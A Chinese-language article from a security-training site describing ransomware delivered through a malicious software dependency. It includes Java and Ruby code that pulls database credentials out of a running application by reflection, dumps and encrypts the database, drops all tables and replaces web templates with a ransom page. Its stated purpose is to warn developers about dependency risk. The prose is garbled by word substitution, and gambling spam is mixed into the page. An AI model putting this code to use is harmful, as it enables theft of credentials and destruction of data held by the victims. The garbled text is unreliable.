天创培训:您身旁的信息安全培训专家!
栏目列表41668金沙官网
开班方案
2019年1月CISP培训开班告诉
主讲教师   张教师、王教师等
开课工夫   2019年1月8日-13日
培训方法   实地/面授
讲课天次   培训5天+测验半天
上课工夫   09:00 -- 16:30
课程引见 在线报名
奥门金沙网站
手艺中心您当前位置: > 资本专区 > 手艺中心www.7249.com

基于程序库的讹诈软件—对准开发人员

作者:天创培训  滥觞:px.tcnet.com.cn  更新工夫:2016-12-20  关键词:讹诈软件

当前,讹诈软件曾经成为一种日趋严峻的要挟。比方,近来人们发明了一种称为“Locky”的讹诈软件正在经由过程Facebook Messenger鼎力大举传布,而上周末,旧金山的地铁体系则遭到了讹诈软件的入侵。明天,我们将深化理解讹诈软件如何对准开发人员,经由过程依靠库停止传布。 
 
什么是讹诈软件?
讹诈软件是一种经由过程阻遏人们一般会见计算机系统来讹诈赎金的歹意软件。之前,讹诈软件次要针对台式计算机和挪动装备,可是跟着物联网装备的提高,它很可能会疾速扩大其进犯范畴。
讹诈软件这个概念与其他歹意软件有很多类似的处所:攻击者在受害者的计算机上得到更高的权限后,它们不是去搞一些毫无意义的毁坏活动,而是试图经由过程讹诈受害者来赢利。这是由于,遭到讹诈软件进犯以后,计算机中的数据通常会被它们加密,需求交钱后才气“赎身”。
 
可疑的依靠库
那为什么要对准开发人员呢?要知道,他们凡是愈加手艺高深,而且很少安装可疑法式的。很明显,相对绑架家用计算机来讲,进犯开发者的机械的收益可能会更大,由于攻击者如许做的话,有可能掌握一连串的消费情况中的体系。只要绑架的体系越多越有价值,挪动讹诈软件开发者就能够讹诈更多的赎金。
这类讹诈软件能够包罗在有害的依靠库中。上面经由过程一个详细的例子来引见它的事情道理。固然这里利用的是基于Java(Spring)和Ruby(Rails)的示例,可是这些手艺一样适用于其他言语和框架。
上面,让我们从一个利用MySQL的Spring MVC应用程序为例停止引见。 
    mysql/groupId>
    mysql-connector-java/artifactId>
    5.1.9/version>
/dependency>
  
# persistence-mysql.properties
dataSource.driverClassName=com.mysql.jdbc.Driver
dataSource.url=jdbc:mysql://localhost:3306/dbransom
dataSource.username=root
dataSource.password=password
  
hibernate.dialect=org.hibernate.dialect.MySQLDialect
hibernate.hbm2ddl.auto=create
另外,我们还将包罗一个可疑的依靠库:
    org.evil/groupId>
    evil-utils/artifactId>
    1.0/version>
/dependency>
它供给了一个供内部挪用的EvilUtils.padLeft办法,它将作为Web服务的一部分被挪用。
 
反射
攻击者一旦在使用中植入了歹意软件包,那基本上就能够随心所欲了。从某种水平上来说,这相当于在应用程序的情况中得到了长途代码施行才能,从安全的角度来讲,这凡是是灾难性的。
为了得到赎金,攻击者需求绑架一个充足主要的目的。在这里数据库是个不错的目的坐标,由于这是一个Spring应用程序,攻击者能够很容易找到它——只要得到Spring应用程序的上下文并定位准确的bean便可。 
class EvilUtils {
  // Access the Spring context
  @Autowired
  private WebApplicationContext ctx;
  
  EvilUtils() {
    SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(this);
  }
  
  DataSource getDataSource() {
    DataSource ds = null;
    try {
      ds = (DataSource) ctx.getBean("dataSource");
      return new JdbcTemplate(ds);
    } catch (NoSuchBeanDefinitionException e) {}
    // ...
  }
  
  public String padLeft(String s) {
    return " " + s;
  }
}
假如这行不通的话,我们能够会见类加载器,并寻觅一个具有返回某种DataSource的办法的类便可。 
for (Class klass : loadedClasses()) {
  Method[] methods = klass.getMethods();
  
  for (Method m : methods) {
    if (m.getReturnType() != DataSource.class) {
      continue;
    }
  
    // We've found a target!
    m.setAccessible(true);
    for (Constructor ctor : klass.getDeclaredConstructors()) {
      // Instantiate the target bean and autowire its dependencies
      if (ctor.getGenericParameterTypes().length == 0) {
        ctor.setAccessible(true);
        Object instance = ctor.newInstance();
        SpringBeanAutowiringSupport.processInjectionBasedOnCurrentContext(instance);
        beanFactory.autowireBean(instance);
        ds = (DataSource) m.invoke(instance);
      }
    }
  
    if (ds != null) {
      return ds;
    }
  }
}
停止反射,如许攻击者就能够经由过程它来获得数据库连接的各类细节了。
import com.mysql.jdbc.ConnectionImpl;
  
void getConnectionInfo() {
  Field f;
  
  f = ConnectionImpl.class.getDeclaredField("user");
  f.setAccessible(true);
  String username = (String) f.get(conn);
  
  f = ConnectionImpl.class.getDeclaredField("password");

f.setAccessible(true);
  String password = (String) f.get(conn);
  
  f = ConnectionImpl.class.getDeclaredField("host");
  f.setAccessible(true);
  String host = (String) f.get(conn);
  
  f = ConnectionImpl.class.getDeclaredField("database");
  f.setAccessible(true);
  String database = (String) f.get(conn);
  
  // ...
}
然后,我们能够利用这里的凭据来创立一个新的毗连来访问数据库。
下一步是想法让受害者无法访问数据。就今朝来讲,我们能够利用林林总总的方法来做到这一点;此中最简朴的办法是将数据库内容转储到一个文件中,加密文件,然后删除所有数据表。
 
PWN3D
攻击者最初一步是确保受害者知道他们曾经被“绑架”了,同时供给收款用的比特币地址。攻击者能够找到他们的模板文件,加密它们,然后用一个风趣的动静来交换它们。
void gloat() {
  // Locate web resources
  File f = new File(getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
  String path = f.getPath();
  int indx = path.indexOf("/WEB-INF/lib/");
  path = path.substring(0, indx + 9) + "views";
  
  // Replace them with our custom views
  for (File template : getFilesFromPath(path)) {
    if (template.getName().endsWith(".jsp")) {
      encryptAndMove(template);
      moveResource("pwned.jsp", template.getPath());
    }
  }
}

很明显,攻击者是不期望加密密钥呈现在歹意库自己中的,由于这将使其易受逆向工程的影响。不外这不是个大问题,由于能够利用公钥加密手艺,即便表露一个密钥,受害者也黔驴技穷。
这里引见的手艺还能够进一步优化,比方只在消费体系上面触发破绽,大概增加一种方法来长途触发它。
Rails
这个进犯伎俩的Rails版本要简朴很多:我们只需从ActiveRecord :: Base.connection_config [:password]获得暗码便可。这里是一个利用SQLite的完好破绽的示例:
def delete_db
  conn = ActiveRecord::Base.connection
  
  if conn.adapter_name.eql? 'SQLite'
    sqliteDb = ActiveRecord::Base.connection_config[:database]
    puts `sqlite3 #{sqliteDb} .dump > dump.sql;`
  
    # Encrypt file
    file_path = `pwd`
    encrypt_file(file_path.chop, 'dump.sql')
  
    # Delete dump
    FileUtils.rm_r "#{file_path.chop}/dump.sql"
  
    # Drop all tables
    conn.data_sources.each do |table_name|
      conn.drop_table(table_name)
    end
end
因为经由过程程序库会见数据库是一种一般的用法,以是很难辨别哪些是歹意会见,哪些是有害会见。
一般来说,静态言语在这方面要愈加懦弱,由于对它们停止静态阐发的难度更大,而且在运转时违背封装和做工作的停滞凡是更少。
进犯向量
我们提出的详细例子能够看起来有点委曲——它要求很多工具以特定的方法准确发作才气见效。可是,它的确是可能发生的。 有人可能会说,让开发者依靠可疑的软件包是很艰难的;可是究竟却是——这简单得吓人。
即便关于包管理器来讲,Typosquatting进犯也是一个十分让人头疼的工作。更何况,即便是最愚笨的手艺也经常可以让许多人受骗;有时候,攻击者会公布一个软件的二进制版本,固然宣称是从正规渠道的源代码构建的,可是背地里却放入了蠕虫……固然,关于那些自己就有安全漏洞的包管理器来讲,底子就无需依赖于社会工程了。另外,还存在更多的创造性的办法能够用来分布歹意软件包。
 
结束语
在利用第三方代码的依靠库时,会面对很多固有的风险。以是要对它们停止响应的安全审计,以防着了躲藏在它们中央的讹诈软件的道。
 


0

推荐浏览

 |  关于天创 |  课程体系 |  最新动态 |  联络我们 |  网站舆图 |  二维码
版权所有:江苏天创科技有限公司 苏ICP备16028135号-2
姑苏总部地址:江苏省苏州市十梓街327号 电话:0512-65129087 传真:0512-65157410 邮编:215000
南京分公司地址:南京珠江路88号新世界中心A座 电话:025-84533276 传真:025-84533286 邮编:210000
金沙js99011com